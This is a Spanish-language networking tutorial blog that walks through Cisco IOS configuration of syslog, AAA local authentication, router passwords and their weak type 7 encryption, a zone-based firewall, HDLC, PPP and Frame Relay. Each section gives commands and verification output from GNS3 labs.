Seguridad y Redes

Tips & Video Tutoriales, Wifislax, VMware, GNS3, VirtualBox, CCNA, Cisco Routers & Switches, [ Programming ]

Syslog Server: Kiwi Syslog - Configuracion de un router Cisco

Si queremos enviar los mensajes de log a un servidor de Syslog (Syslog server) para poder administrar los logs del dispositivo de la red de una forma mas centralizada, podemos enviar los logs que se generan y para que los mensajes se envíen a un servidor.

Es importante que antes de implementar el almacenamiento del log en un Syslog Server, todos los dispositivos de la red estén sincronizados con la misma hora, día y fecha. Para esto debemos de configurar el protocolo Network Time Protocol (NTP) en los switches y routers. Si no sabes realizar esta configuración podras consultar la siguiente publicación sobre NTP Server.

Syslog Server en GNS3.

Para configurar a que el router envíe los logs al Syslog Server debemos ingresar el siguiente comando, loggin host ip_servidor o el comando loggin ip_servidor, indicando la dirección IP del Servidor de Syslog.

Router(config)#logging host 10.10.20.10

10.10.20.10 es el servidor de log.

Podemos limitar la cantidad de mensajes enviados al servidor syslog, según la gravedad con el comando logging trap para establecer el nivel de detalle de la información que será registrada en el log. En este caso es de nivel 7 (debugging) que es el nivel más alto. Niveles de mensajes de Syslog.

R1(config)# logging trap 7

Otro comando importante es el service timestamps, esta configuración es muy importante cuando estemos configurando el loggin porque con esto vamos habilitar que aparezcan los logs con la fecha y la hora en que se genera el log, por default no está habilitado y básicamente lo que hace es que si te pone el log pero no te dice a qué hora fue generado el log, entonces este comando es importante configurarlo en el router.

Router(config)#service timestamps

La segunda parte del procedimiento es efectivamente instalar un software servidor de Syslog en una PC Windows o Linux. Kiwi Syslog Server para Windows es una excelente opción, fácil de instalar y configurar.

Verificacion

R1#debug ip icmp 
ICMP packet debugging is on
R1#

R1#ping 10.10.20.10
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.10.20.10, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 4/50/148 ms
R1#

00:09:28: ICMP: echo reply rcvd, src 10.10.20.10, dst 10.10.20.1
00:09:28: ICMP: echo reply rcvd, src 10.10.20.10, dst 10.10.20.1
00:09:28: ICMP: echo reply rcvd, src 10.10.20.10, dst 10.10.20.1
00:09:28: ICMP: echo reply rcvd, src 10.10.20.10, dst 10.10.20.1
00:09:28: ICMP: echo reply rcvd, src 10.10.20.10, dst 10.10.20.1

R1#conf t
R1(config)#exit
R1#
*Mar  1 00:09:35.999: %SYS-5-CONFIG_I: Configured from console by console
R1#


Kiwi Syslog en Windows.

Así de simple podemos centralizar la administración del log en nuestra red y mejorar significativamente la respuesta a un posible incidente o ataque de seguridad que tengamos que enfrentar.

Syslog

El Syslog es enviar mensajes de información que puede ser a un router o a un servidor externo.

¿Para que nos va servir el Syslog?

El Syslog nos puede servir para sabes cual es la naturaleza de alguna ataque o amenaza de seguridad. También nos sirve de bastante para Troubleshooting y podemos correlacionar cualquier tipo de eventos, como por ejemplo.
  • Un intento de acceso con contraseña equivocada
  • Un acceso correcto al sistema
  • Anomalías: variaciones en el funcionamiento normal del sistema
  • Alertas cuando ocurre alguna condición especial
  • Información sobre las actividades del sistema operativo
  • Errores del hardware o el software
Por lo tanto, es vital la administración adecuada de esta información para mantener corriendo de manera estable una red y principalmente para poder mitigar las amenazas de seguridad a las que nos podamos ver expuestos.

Los logs también se pueden enviar a la consola (por default)
  • Al Logging Buffer del Router (por default)
  • A las Líneas VTY (Ingresando el comando terminal monitor)
  • A un Servidor de SNMP como puede ser un Cisco Works
  • A un servidor de Syslog.
Existe un Cliente y Servidor de Syslog.
  • El Syslog Client es el que envía los logs, es decir un router puede ser un cliente de Syslog.
  • Servidor Syslog es un aquel servidor que guarda todos los logs.
Syslog Levels.

La figura anterior muestra los niveles de Syslog que se tienen.
  • Nivel 0 son las Emergencias: Es cuando hay un error severo que hace que el sistema no sea usable
  • Nivel 1 son Alertas: Significa que requieren atención inmediata.
  • Nivel 2 Critica: Requiere atención para prevenir que haya interrupción en el servicio.
  • Nivel 3 Errores: Condiciones de errores en el Sistema.
  • Nivel 4 Warnings: Es cuando algo en específico falla.
  • Nivel 5 Notificaciones: Alerta sobre los cambios de estados.
  • Nivel 6 Información: Información detallada acerca de la operación normal.
  • Nivel 7 Debugging: Información detallada, comandos de debug, usualmente puede servir simplemente para troubleshooting.
Es importante saber que existen estos 8 niveles, que significa cada uno y como se llaman.

Iniciando un router se presentan varios log, ejemplo.
Press RETURN to get started!
*Mar  1 00:00:07.059: %LINEPROTO-5-UPDOWN: Line protocol on Interface VoIP-Null0, changed state to up
5 = Nivel 5
*Mar  1 00:00:07.059: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed state to up
*Mar  1 00:00:07.063: %LINK-3-UPDOWN: Interface FastEthernet0/1, changed state to up
3 = Nivel 3
*Mar  1 00:00:07.287: %SYS-5-CONFIG_I: Configured from memory by console
*Mar  1 00:00:07.875: %SYS-5-RESTART: System restarted --
Cisco IOS Software, 3600 Software (C3660-IK9O3S-M), Version 12.4(13b), RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Tue 24-Apr-07 21:18 by prod_rel_team
*Mar  1 00:00:07.887: %SNMP-5-COLDSTART: SNMP agent on host Router is undergoing a cold start
*Mar  1 00:00:08.059: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to down
*Mar  1 00:00:09.299: %LINK-5-CHANGED: Interface FastEthernet0/1, changed state to administratively down

En el IOS de Cisco por default está configurado el log en la consola.

AAA en Routers & Switches Cisco

Las principales funciones de AAA son.
  • Autenticación: comprueba que los usuarios y administradores sean quienes dicen ser.
  • Autorización: después de la autenticar al usuario o al administrador, decide a qué recursos puede acceder o qué operaciones puede realizar.
  • Registro (Accounting and Auditing): guarda el instante temporal en el que se efectúan las operaciones y acceden a los recursos.
Los Routers y Switches Cisco manejan AAA, de hecho también los Firewalls de Cisco pueden manejar AAA, los concentradores de VPN pueden manejar AAA, los Access Point pueden manejar AAA pero para este examen estamos viendo nada más los Routers y Switches.

Lo hay de tres maneras:

Cisco Secure ACS Solution Engine: Este es un equipo que contiene CSA, este casi no se usa en la vida real.

Cisco Secure Access Control Server (ACS): Se le conoce como ACS y este es el que se usa bastante en la vida real y es el que vamos a ver como se configura pero nada más la parte del router no la parte en si del servidor. El Router o el NAS es el que tiene contacto con el ACS en este caso el NAS puede ser un Router, puede ser un Switch, un Firewall, un concentrador de VPN. Entonces el router o NAS contacta a la base de datos externa el Cisco Secure ACS.

Self-contained AAA: Se le conoce también como Autenticacion Local y esto quiere decir que el Router no necesita de un equipo externo como el ACS para que pueda funcionar como AAA y simplemente usa la base de datos local de usuarios con contraseña para tener los servicios de AAA.

¿Cuáles son los servicios más comunes de AAA?
  • Puerto de Consola
  • Puerto Auxiliar
  • Telnet
  • SSH
  • HTTP
  • HTTPS
  • VPNs
  • Wireless
Podemos proteger todo el acceso al Router, es decir si por ejemplo queremos accesar al router por CCP ya sea por HTTP o HTTPS podemos usar AAA, si queremos entrar al router por Telnet y SSH se puede proteger con AAA, o de hecho si queremos conectarnos directamente a los puertos de consola y auxiliar podemos protegerlos con AAA.

También para los usuarios que entran por medio de VPN a nuestra red, puede ser controlado ese acceso por AAA, nuestros usuarios de Wireless se les puede pedir nombre de usuario y password para entrar a la red Wireless y este también puede estar con AAA. Entonces como podemos ver hay muchas opciones en los que AAA puede entrar en juego.

Configuración de AAA, Autenticacion Local

Vamos a configurar AAA en el Router usando Autenticacion Local, es decir sin un Servidor ACS o ningún servidor externo. Para configurar AAA vamos a realizarlo paso a paso.
  1. La primera es entrar en Modo Privilegiado
  2. La segunda es habilitar en modo global AAA
  3. Configurar las Listas de Autenticación que se les conoce como Method List
  4. Después configurar Autorización
  5. Configurar el Accounting
  6. Por ultimo verificar nuestra configuración
El primero paso para configurar AAA es habilitarlo de manera global e indicarle que la Autenticación sea Local.

Router#configure terminal
Router(config)#aaa new-model
Router(config)#aaa authentication ?
  arap             Set authentication lists for arap.
  attempts         Set the maximum number of authentication attempts
  banner           Message to use when starting login/authentication.
  dot1x            Set authentication lists for IEEE 802.1x.
  enable           Set authentication list for enable.
  eou              Set authentication lists for EAPoUDP
  fail-message     Message to use for failed login/authentication.
  login            Set authentication lists for logins.
  password-prompt  Text to use when prompting for a password
  ppp              Set authentication lists for ppp.
  sgbp             Set authentication lists for sgbp.
  username-prompt  Text to use when prompting for a username

Con el signo de interrogacion podemos ver todo lo que podemos configurar con AAA.

  • attempts: Cuantas veces o numero maximo de autentications queremos preguntarle a un usuario y password.
  • banner: Podemos configurarle un Banner.
  • enable: Podemos autenticar el enable
  • fail-message: Cual es el mensaje que se debe mostrar si la autenticación falla
  • Login: 
  • password-prompt: Lo mismo para el password, cual es el texto que quiero que diga cuando salga el password.
  • ppp: Autenticar ppp, en el caso de que si queremos autenticar a alguien que se conecte por ppp, esto se usaba mucho cuando eran por modem.
  • username-prompt: Si queremos cambiar en lugar de preguntar un username y password cambiarle a que diga usuario y contraseña por ejemplo.
Por ejemplo nosotros queremos autenticar el login, entonces le vamos a indicar que la Autenticación va hacer login, Luego le indicaremos que sea desde la Base de datos Local. Para esto ingremos el siguiente comando.

Router(config)#aaa authentication login default local

Con esto estamos indicando que la autenticación por default es la base de datos local. Ahora si verificamos Accediendo por telnet al Router.

User Access Verification
Username: delfi
Password: cisco
Router>enable
% Error in authentication.
Router>

Si le tratamos de ingresar enable, envía un mensaje de error en la Autenticación porque el enable no está dado de alta. Así que lo damos de alta el enable desde configuracion global.

Router(config)#enable secret cisco

Volvemos verificar ingresando nuevamente el comando enable.

Router>en
Password:
Router#

Este comando puede ser muy muy peligroso, de hecho en los Routers está escondido, si ponemos en consola “no service password-recove ?” vamos a ver que no aparece pero si se puede configurar. Lo que hace es que no podemos hacerle un password recovery al router, si intentamos hacer un password recovery va borrar la configuración y puede que borre el IOS. Es un hecho de que va borrar la configuración y dependiendo de la plataforma puede que perdamos más cosas.

Tener en mente de que ROMMON no podrá ser accesible si tenemos habilitado el “no service password-recovery”. Hay que usarlo con mucho cuidado.

Configurar no service password-recovery  

Router(config)#no service password-recovery  
   WARNING:
   Executing this command will disable password recovery mechanism.
   Do not execute this command without another plan for
   password recovery.

Are you sure you want to continue? [yes/no]: yes
Router(config)#

Si revisamos la configuracion podremos ver que si aparece el no service password-recovery

Router#show running-config
Building configuration...
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
no service password-recovery
!

Habilitar el service password-recovery  

Router(config)#service password-recovery   

Autenticación, utilizando la Base de Datos Local

Autenticar en el Router mediante un Username y Password 
Lo que vamos a ver ahora es que a la hora de Autenticarnos en el Router nos pida el ingreso de nombre de usuario y contraseña.

El primer paso es definir desde configuración global el username y el password.
Router#configure terminal
Router(config)#username delfirosales password cisco

Con esto ya hemos creado un nombre de usuario con su respectiva contraseña. Ahora tenemos que indicarle al router que autentique con un username y un password. Esto se hace con el commando login local. En lugar de usar el commando login, vamos usar el login local.

Habilitar Login local para la Linea de Consola

Router(config)#line console 0
Router(config-line)#login local

Con esto estamos indicándole al router que ya no le haga caso al password configurado en consola, si no que busque la base de datos local de usuario y password.

Verificamos
User Access Verification

Username: delfirosales
Password:
Router>

Vemos que ahora nos pide un usuario y password desde consola.

Habilitar Login local en las Lineas VTY

Router#configure terminal
Router(config)#line vty 0 4
Router(config-line)#login local
Router(config-line)#exit
Router(config)#

Verificamos Telnet

Passwords en los Routers Cisco

¿Que tipo de Passwords se pueden configurar en los Routers Cisco? 
  • Console 
  • AUX 
  • VTY 
  • HTTP/HTTPS 
  • Enable secret 
  • Enable password
¿Cuales son las mejores practicas para un password que si sea fuerte, que si sea seguro? 
  • Por lo menos debe de tener 10 caracteres 
  • Usar minúsculas, mayúsculas, números y caracteres especiales 
  • Que no sea una palabra común, es decir que no esté en un diccionario 
  • Debemos de cambiar el password de manera periódica. Seria una muy buena idea es de que si tenemos una política de seguridad por escrito que ahí se mencione que tan seguido se debe de cambiar el password y que realmente se haga. 
Configurando Password en los Routers Cisco

Confiurar Password de Consola 

Router#configure terminal
Router(config)#line console 0
Router(config-line)#password console
Router(config-line)#login
Router(config-line)#exit

Configurar Password de AUX 

Router#configure terminal
Router(config)#line aux 0
Router(config-line)#password passaux
Router(config-line)#login
Router(config-line)#exit

Configurar Password en las Lineas VTY 

Router#configure terminal
Router(config)#line vty 0 4
Router(config-line)#password vty
Router(config-line)#login

Si en estos momentos vemos la configuración con el comando show running-config.

Router#show running-config
Building configuration...
!
line con 0
exec-timeout 0 0
password console
logging synchronous
login
line aux 0
exec-timeout 0 0
privilege level 15
password passaux
logging synchronous
login
line vty 0 4
password vty
login
!

Vemos los passwords tal cual. Esta manera de guardar las contraseñas es muy insegura ya que se pueden ver. Para esto Cisco tiene una manera de encriptar los passwords, que por cierto no es muy segura, el comando se llama service password-encryption

Configurar el service password-encryption 

Router#configure terminal
Router(config)#service password-encryption
Router(config)#exit

Si ahora le revisamos con un show running-config, veremos los passwords encriptados, pero tal como se ha mencionado esta encriptacion no es muy segura.

Router#show running-config
Building configuration...
!
line con 0
exec-timeout 0 0
password 7 02050B5518090324
logging synchronous
login
line aux 0
exec-timeout 0 0
privilege level 15
password 7 140713181F053F33
logging synchronous
login
line vty 0 4
password 7 08375857
login
!

Cuando veamos en la configuración password 7 lo que sigue significa que esta encriptado y tal como se menciona, esta encriptacion no es segura. Podemos descifrar el password con cualquier herramienta que podamos encontrar en google, como de la pagina Packetlife.net.


Algo importante que debemos de saber es si quitamos el service password-encryption (no service password-encryption).

Router(config)#no service password-encryption

Y le ponemos de nuevo un show running-config

Router#show running-config
Building configuration...
!
line con 0
exec-timeout 0 0
password 7 02050B5518090324
logging synchronous
login
line aux 0
exec-timeout 0 0
privilege level 15
password 7 140713181F053F33
logging synchronous
login
line vty 0 4
password 7 08375857
login
!

Vamos a ver que los deja encriptados. Es bien imporante el entender que si vemos que dice password 7y lo que sigue esta encriptado. Si nosotros copiamos password 7 08375857 y lo pegamos en otro Router el password que le estamos poniendo  no es 08375857, es el que esta encriptado porque le estamos poniendo un 7. Si le pusieramos password 0 (el 0 significa que lo que sigue no esta encriptado).

Habilitar enable password 

Router#configure terminal
Router(config)#enable password passenable

Habilitar enable secret 

Router#configure terminal
Router(config)#enable secret cisco2

Veamos la configuracion

Router#show running-config
Building configuration...
!
enable secret 5 $1$SfXz$VTQcZ6eOOVgZCBfvtmMBC0
enable password passenable
!

Podemos ver que el enable password tiene como contraseña passenable y el enable secret tiene un Hash de MD5. Cuando configuramos el enable secret ingrasamos cisco2 y automaticamente puso un 5 y un hash de MD5. Cualquier password que se ingrese automaticamente lo va convertir en un hasd de MD5 con valor de 128 bits aunque no tengamos habilitado el service password-encryption. Si en alguna configuracion ven enable secret 5 lo que sigue no es el password, es el hash de MD5.

Configuración de Cisco IOS Zone - Based Policy Firewall

Una de las principales diferencias entre un firewall usando CBAC y ZBPFW (zone based Firewall) es el uso de zonas de seguridad. Estas zonas separan las áreas específicas de seguridad dentro de una red. Cada organización tiene sus propias divisiones específicas de seguridad que deben ser definidos antes de la implementación de un ZBPFW.

Topologia de ejemplo para la Configuracion del IOS Zone Firewall.

Lo primero es crear el Par de Zonas, desde configuración global.
Creamos el inside security zona con el nombre de inside
Creamos el otra zona con el nombre de Outside

Router#configure terminal 
Router(config)#zone security inside
Router(config-sec-zone)#exit
Router(config)#zone security outside
Router(config-sec-zone)#exit

Creamos un class map con el nombre de MI-CLASS-MAP, luego los Matchs de ICMP y telnet.

Router(config)#class-map type inspect match-any MI-CLASS-MAP
Router(config-cmap)#match protocol telnet
Router(config-cmap)#match protocol icmp  
Router(config-cmap)#exit

Creamos una politica de servicio con el nombre de MI-POLITICA, identificamos el class map MI-CLASS-MAP Inspeccionamos todo el trafico.

Router(config)#policy-map type inspect MI-POLITICA
Router(config-pmap)#class type inspect MI-CLASS-MAP
Router(config-pmap-c)#inspect 
Router(config-pmap-c)#exit
Router(config-pmap)#exit

Creamos una Par de Zona o Zone pair identicando la zona fuente (inside) y el destino (outside). Asignamos la política de servicio MI-POLITICA para todo el trafico que pasa del origen al destino.

Router(config)#zone-pair security IN-TO-OUT source inside destination outside
Router(config-sec-zone-pair)#service-policy type inspect MI-POLITICA
Router(config-sec-zone-pair)#exit
Router(config)#

Asignamos las interfaces a su respectivas zonas.

Router(config)#interface fastEthernet0/0 
Router(config-if)#description Es la Zona Inside
Router(config-if)#zone-member security inside
Router(config-if)#exit
Router(config)#interface fastEthernet0/1
Router(config-if)#description Es la Zona Outside
Router(config-if)#zone-member security outside
Router(config-if)#exit
Router(config)#

Verificación desde el Cliente o Inside.

Video - Implementación de Cisco IOS Zone-Based Firewall usando CCP

HDLC (High-Level Data Link Control, control de enlace síncrono de datos) es un protocolo de comunicaciones de propósito general punto a punto y multipunto, que opera a nivel de enlace de datos. Se basa en ISO 3309 e ISO 4335. Surge como una evolución del anterior SDLC. Proporciona recuperación de errores en caso de pérdida de paquetes de datos, fallos de secuencia y otros, por lo que ofrece una comunicación confiable entre el transmisor y el receptor. De este protocolo derivan otros como LAPB, LAPF, LLC y PPP.

Configuración de HDLC

R1#configure terminal
R1(config)#interface Serial0/0
R1(config-if)#encapsulation hdlc
R1(config-if)#ip address 192.168.12.1 255.255.255.252
R1(config-if)#no shutdown

R2#configure terminal
R2(config)#interface Serial0/0
R2(config-if)#encapsulation hdlc
R2(config-if)#ip address 192.168.12.2 255.255.255.252
R2(config-if)#no shutdown

R1#show  interface Serial0/0                 
Serial0/0 is up, line protocol is up
  Hardware is GT96K Serial
  Internet address is 192.168.12.1/30
  MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation HDLC, loopback not set
  Keepalive set (10 sec)
  CRC checking enabled
  Last input 00:00:01, output 00:00:00, output hang never
  Last clearing of "show interface" counters 00:34:44
  Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
  Queueing strategy: weighted fair
  Output queue: 0/1000/64/0 (size/max total/threshold/drops)
     Conversations  0/1/256 (active/max active/max total)
     Reserved Conversations 0/0 (allocated/max allocated)
     Available Bandwidth 1158 kilobits/sec
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     239 packets input, 16566 bytes, 0 no buffer
     Received 234 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     249 packets output, 17471 bytes, 0 underruns
     0 output errors, 0 collisions, 4 interface resets
     0 output buffer failures, 0 output buffers swapped out
     0 carrier transitions
     DCD=up  DSR=up  DTR=up  RTS=up  CTS=up

R2#ping 192.168.12.1         
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.12.1, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/35/72 ms

Point-to-Point Protocol

Point-to-point Protocol (Protocolo punto a punto), también conocido por su acrónimo PPP, es un protocolo de nivel de enlace estandarizado en el documento RFC 1661. Por tanto, se trata de un protocolo asociado a la pila TCP/IP de uso en Internet.

R1#configure terminal
R1(config)#interface Serial0/0
R1(config-if)#encapsulation ppp
R1(config-if)#ip address 192.168.12.1 255.255.255.252
R1(config-if)#no shutdown
R1(config-if)#

R2#configure terminal
R2(config)#interface Serial0/0
R2(config-if)#encapsulation ppp
R2(config-if)#ip address 192.168.12.2 255.255.255.252
R2(config-if)#no shutdown
R2(config-if)#

R2#show  interface Serial0/0
Serial0/0 is up, line protocol is up
  Hardware is GT96K Serial
  Internet address is 192.168.12.2/30
  MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation PPP, LCP Open
  Open: IPCP, CDPCP, loopback not set
  Keepalive set (10 sec)
  CRC checking enabled
  Last input 00:00:16, output 00:00:08, output hang never
  Last clearing of "show interface" counters 00:06:03
  Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
  Queueing strategy: weighted fair
  Output queue: 0/1000/64/0 (size/max total/threshold/drops)
     Conversations  0/1/256 (active/max active/max total)
     Reserved Conversations 0/0 (allocated/max allocated)
     Available Bandwidth 1158 kilobits/sec
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     83 packets input, 3580 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     83 packets output, 3580 bytes, 0 underruns
     0 output errors, 0 collisions, 1 interface resets
     0 output buffer failures, 0 output buffers swapped out
     0 carrier transitions
     DCD=up  DSR=up  DTR=up  RTS=up  CTS=up

R2#ping 192.168.12.1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.12.1, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 32/46/68 ms

Comandos debug de PPP

debug ppp authentication
debug ppp negotiation
debug ppp packet
debug ppp error
debug ppp chap

Frame Relay con Inverse ARP

Con esta practica en GNS3, verificaremos y entenderemos el funcionamiento de Frame Relay. Esta tecnologia WAN (Wide Area Network) es muy popular porque facilita la construcción de redes confiables y de bajo costo. Uno de sus principales ventajas es de poder configurar enlaces seriales punto a punto con la capacidad de conectar un sitio a muchos sitios remotos a través de un circuito físico. En esta practica se mostrara el proceso de la configuración de Frame Relay utilizando la siguiente topologia.

Topologia de Frame Relay a Configurar en GNS3.

La imagen anterior muestra una topologia Full Mesh. Una red Mesh es una red múltiplemente conexa, en la cual los nodos tienen más de una conexión con más de un nodo diferente. No necesariamente deben conectarse todos contra todos, éste es un caso especial que se denomina Full-Mesh. Configuraremos esta topologia en GNS3, en el cual utilizaremos un Router central el cual le configuraremos cuatro interfaces seriales donde le indiciaremos los DLCIs para que puedan ser asignados dinamicamente con Inverse ARP. Al configurar la encapsulacion Frame Relay en cada Router, automaticamente detectara los DLCIs ya que Inverse ARP esta habilitado por defecto.

Frame Relay en GNS3 con topologia Full Mesh.

Para configurar esta toplogia primero realizaremos la configuracion del Switch de Frame Relay, donde le indicaremos los DLCIs. Lo primero es activar la conmutación Frame Relay en el Router con el siguiente comando.

FrameRelay(config)#frame-relay switching

Luego a configurar las interfaces seriales, la encapsulacion, el reloj, le indicaremos que la interface como dispositivo DCE y por ultimo definimos los DLCIs para cada interface.

FrameRelay#configure terminal
FrameRelay(config)#interface Serial1/0
FrameRelay(config-if)#no ip address
FrameRelay(config-if)#encapsulation frame-relay
FrameRelay(config-if)#clock rate 64000
FrameRelay(config-if)#frame-relay intf-type dce
FrameRelay(config-if)#frame-relay route 102 interface Serial1/1 201
FrameRelay(config-if)#frame-relay route 103 interface Serial1/2 301
FrameRelay(config-if)#frame-relay route 104 interface Serial1/3 401
FrameRelay(config-if)#no shutdown
FrameRelay(config-if)#exit
FrameRelay(config)#interface Serial1/1
FrameRelay(config-if)#no ip address
FrameRelay(config-if)#encapsulation frame-relay
FrameRelay(config-if)#clock rate 64000
FrameRelay(config-if)#frame-relay intf-type dce
FrameRelay(config-if)#frame-relay route 201 interface Serial1/0 102
FrameRelay(config-if)#frame-relay route 203 interface Serial1/2 302
FrameRelay(config-if)#frame-relay route 204 interface Serial1/3 402
FrameRelay(config-if)#no shutdown
FrameRelay(config-if)#exit
FrameRelay(config)#interface Serial1/2
FrameRelay(config-if)#no ip address
FrameRelay(config-if)#encapsulation frame-relay
FrameRelay(config-if)#clock rate 64000
FrameRelay(config-if)#frame-relay intf-type dce
FrameRelay(config-if)#frame-relay route 301 interface Serial1/0 103
FrameRelay(config-if)#frame-relay route 302 interface Serial1/1 203
FrameRelay(config-if)#frame-relay route 304 interface Serial1/3 403
FrameRelay(config-if)#no shutdown
FrameRelay(config-if)#exit
FrameRelay(config)#interface Serial1/3
FrameRelay(config-if)#no ip address
FrameRelay(config-if)#encapsulation frame-relay
FrameRelay(config-if)#clock rate 64000
FrameRelay(config-if)#frame-relay intf-type dce
FrameRelay(config-if)#frame-relay route 401 interface Serial1/0 104
FrameRelay(config-if)#frame-relay route 402 interface Serial1/1 204
FrameRelay(config-if)#frame-relay route 403 interface Serial1/2 304
FrameRelay(config-if)#no shutdown
FrameRelay(config-if)#exit
FrameRelay(config)#end
FrameRelay#
Ahora configuramos las interfaces de los Routers.
R1>enable
R1#configure terminal
R1(config)# interface serial1 /0
R1(config-if)#encapsulation frame-relay
R1(config-if)#frame-relay lmi-type cisco
R1(config-if)#ip address 192.168.123.1 255.255.255.0
R1(config-if)#no shutdown
R1(config-if)#end
R1#
R2>enable
R2#configure terminal
R2(config)#interface serial1/0
R2(config-if)#encapsulation frame-relay
R2(config-if)#frame-relay lmi-type cisco
R2(config-if)#ip address 192.168.123.2 255.255.255.0
R2(config-if)#no shutdown
R2(config-if)#end
R2#
R3>enable
R3#configure terminal
R3(config)#interface serial1/0
R3(config-if)#encapsulation frame-relay
R3(config-if)#frame-relay lmi-type cisco
R3(config-if)#ip address 192.168.123.3 255.255.255.0
R3(config-if)#no shutdown
R3(config-if)#end
R3#
R4>enable
R4#configure terminal
R4(config)#interface serial1/0
R4(config-if)#encapsulation frame-relay
R4(config-if)#frame-relay lmi-type cisco
R4(config-if)#ip address 192.168.123.4 255.255.255.0
R4(config-if)#no shutdown
R4(config-if)#end
R4#
Terminando de realizar lo anterior ya podemos verificar en cualquier router con el comando show frame-relay pvc que Inverse ARP ha realizado su trabajo.
R1#show frame-relay pvc

PVC Statistics for interface Serial1/0 (Frame Relay DTE)

              Active     Inactive      Deleted       Static
  Local          3            0            0            0
  Switched       0            0            0            0
  Unused         0            0            0            0

DLCI = 102, DLCI USAGE = LOCAL, PVC STATUS = ACTIVE, INTERFACE = Serial1/0

  input pkts 1             output pkts 1            in bytes 34      
  out bytes 34             dropped pkts 0           in pkts dropped 0        
  out pkts dropped 0                out bytes dropped 0        
  in FECN pkts 0           in BECN pkts 0           out FECN pkts 0        
  out BECN pkts 0          in DE pkts 0             out DE pkts 0        
  out bcast pkts 1         out bcast bytes 34      
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
  pvc create time 00:07:06, last time pvc status changed 00:06:46
         
DLCI = 103, DLCI USAGE = LOCAL, PVC STATUS = ACTIVE, INTERFACE = Serial1/0

  input pkts 1             output pkts 2            in bytes 34      
  out bytes 68             dropped pkts 0           in pkts dropped 0        
  out pkts dropped 0                out bytes dropped 0        
  in FECN pkts 0           in BECN pkts 0           out FECN pkts 0        
  out BECN pkts 0          in DE pkts 0             out DE pkts 0        
  out bcast pkts 2         out bcast bytes 68      
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
  pvc create time 00:07:10, last time pvc status changed 00:06:50
         
DLCI = 104, DLCI USAGE = LOCAL, PVC STATUS = ACTIVE, INTERFACE = Serial1/0

  input pkts 1             output pkts 1            in bytes 34      
  out bytes 34             dropped pkts 0           in pkts dropped 0        
  out pkts dropped 0                out bytes dropped 0        
  in FECN pkts 0           in BECN pkts 0           out FECN pkts 0        
  out BECN pkts 0          in DE pkts 0             out DE pkts 0        
  out bcast pkts 1         out bcast bytes 34      
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
  pvc create time 00:07:11, last time pvc status changed 00:06:41
Muestra estadísticas acerca de los PVC para las interfaces.

Como podemos ver, Inverse ARP ha detectado los DLCIs. Como se muestra en la salida anterior ha detectado 3 DLCIs en funcionamiento. Estas DLCIs son las que tenemos en nuestra topologia. Para verificar el funcionamiento de Frame Relay podemos también utilizar los siguientes comandos.
Las Estadisticas de los LMI.
R1#show frame-relay lmi
LMI Statistics for interface Serial1/0 (Frame Relay DTE) LMI TYPE = CISCO
  Invalid Unnumbered info 0             Invalid Prot Disc 0
  Invalid dummy Call Ref 0              Invalid Msg Type 0
  Invalid Status Message 0              Invalid Lock Shift 0
  Invalid Information ID 0              Invalid Report IE Len 0
  Invalid Report Request 0              Invalid Keep IE Len 0
  Num Status Enq. Sent 140              Num Status msgs Rcvd 115
  Num Update Status Rcvd 0              Num Status Timeouts 25
  Last Full Status Req 00:00:00         Last Full Status Rcvd 00:00:00

El mapeo de los DLCIs.
R1#show frame-relay map
Serial1/0 (up): ip 192.168.123.2 dlci 102(0x66,0x1860), dynamic,
              broadcast,, status defined, active
Serial1/0 (up): ip 192.168.123.3 dlci 103(0x67,0x1870), dynamic,
              broadcast,, status defined, active
Serial1/0 (up): ip 192.168.123.4 dlci 104(0x68,0x1880), dynamic,
              broadcast,, status defined, active0
Muestra las entradas de mapeo actuales.

En la salida anterior nos muestra los DLCIs y que han sido aprendidos de manera dinámica. Con el siguiente comando podemos verificar que estamos utilizando la encapsulación de frame-relay en la interface, los datos de LMI, los Keepalive y mas informacion sobre la interface.
R1#show interface serial1/0
Serial1/0 is up, line protocol is up
  Hardware is M4T
  Internet address is 192.168.123.1/24
  MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation FRAME-RELAY, crc 16, loopback not set
  Keepalive set (10 sec)
  Restart-Delay is 0 secs
  CRC checking enabled
  LMI enq sent  105, LMI stat recvd 80, LMI upd recvd 0, DTE LMI up
  LMI enq recvd 0, LMI stat sent  0, LMI upd sent  0
  LMI DLCI 1023  LMI type is CISCO  frame relay DTE
  FR SVC disabled, LAPF state down
  Broadcast queue 0/64, broadcasts sent/dropped 5/0, interface broadcasts 0
  Last input 00:00:06, output 00:00:06, output hang never
  Last clearing of "show interface" counters 00:18:53
  Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
